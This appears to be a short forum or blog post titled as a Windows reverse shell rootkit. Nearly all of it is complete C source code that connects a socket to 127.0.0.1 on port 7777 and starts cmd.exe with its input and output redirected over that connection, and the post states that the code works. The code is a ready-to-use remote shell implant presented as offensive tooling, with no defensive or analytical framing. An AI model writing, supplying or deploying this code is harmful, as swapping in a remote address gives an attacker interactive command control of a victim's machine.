Reverse Shell Rootkit windows

Code below successfully brings reverse shell to 127.0.0.1:7777.

Code:

#include <windows.h>
#include <winsock2.h>
#include <stdio.h>

int main(int argc, char* argv[]){
 WSADATA wd;
 HANDLE h;
 SOCKET sock;
 STARTUPINFO si;
 PROCESS_INFORMATION  pi;
 struct sockaddr_in sin;
 int size = sizeof(sin);



 memset(&sin, 0, sizeof(sin));
 memset(&si, 0, sizeof(si));
 WSAStartup(MAKEWORD( 1, 1 ), &wd);
 sock=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
 sin.sin_family = AF_INET;
 bind(sock, (struct sockaddr*)&sin, size);
 sin.sin_port = htons(7777);
 sin.sin_addr.s_addr = inet_addr("127.0.0.1");
 connect(sock, (struct sockaddr*)&sin, size);
 si.cb = sizeof(si);
 si.dwFlags = STARTF_USESTDHANDLES;
 si.hStdInput = si.hStdOutput = si.hStdError = sock;
 CreateProcess(
        NULL,
        "cmd.exe",
        NULL,
        NULL,
        TRUE,
        0,
        0,
        NULL,
        &si,
        &pi
 );
 return 0;
}

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